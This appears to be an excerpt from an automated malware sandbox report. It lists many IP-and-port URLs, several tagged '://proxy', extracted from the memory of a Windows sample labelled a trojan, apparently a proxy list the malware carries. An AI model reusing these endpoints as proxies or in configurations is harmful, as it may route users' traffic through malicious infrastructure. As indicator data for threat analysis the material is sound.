Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.95.81:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.192:27181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.192:27181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.193:11087
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.193:11087://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.194:20304
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.194:20304://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.195:29240
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.195:29240://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.197:14990
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.197:14990://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.198:20986
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.198:20986://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.199:20283
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.163.199:20283://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.8.91
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.144.8.91://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.171.217.48:7890
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.171.217.48:7890://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.171.217.48:7891
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.171.217.48:7891://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.187.50.99:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.187.50.99:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.221.242.131:9999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.221.242.131:9999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.239.234.43:7302
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.239.234.43:7302://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.242.252.174:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.242.252.174:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.160
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.160://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.160:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.164
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.164://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.164:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.167
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.167://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.167:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.41.203.27
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.41.203.27://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.41.203.27:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.74.158.40:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.74.158.40:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.74.159.39:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.74.159.39:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.77.148.253:2019
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.77.148.253:2019://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.79.34.201:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.79.34.201:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.85.86.114:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.85.86.114:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.96.208.124:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.96.208.124:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.118.48.140:33739
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.118.48.140:33739://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.118.98.21:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.118.98.21:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.130.233.22:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.130.233.22:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.199.170.17:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.199.170.17:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.202.235.157:63135
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.202.235.157:63135://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.27.109://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C674C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.27.109:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.27.109x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.28.43
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.28.43://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.28.43:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.49.36
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.49.36://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.203.49.36:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.204.160.111:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.204.160.111:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.206.56.142:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.206.56.142:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.206.61.201:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.206.61.201:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1CE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.212.142.231:33427
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.212.142.231:33427://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.212.144.223:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.212.144.223:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.214.24.188:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.214.24.188:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.242.89.230:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.242.89.230:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.68.172.169:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.68.172.169:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.90.229.186:47694
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.90.229.186:47694://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6706000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C675D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.96.92.214:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.96.92.214:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.97.71.42:5305
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.97.71.42:5305://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.102.115.154:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.102.115.154:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.102.197.136:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.102.197.136:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.102.72.114:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.102.72.114:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.130
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.130://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.130:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA617000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.130:8899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.130:8899://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.131:8899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.131:8899://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.132
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.132://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.132:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.132:8899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.132:8899://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.133
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.133://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.133:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.133:8899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.133:8899://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.134
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.134://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.134:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.134:8899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.134:8899://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.138
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.138://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.138:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.138:8899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.138:8899://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8081://proxy
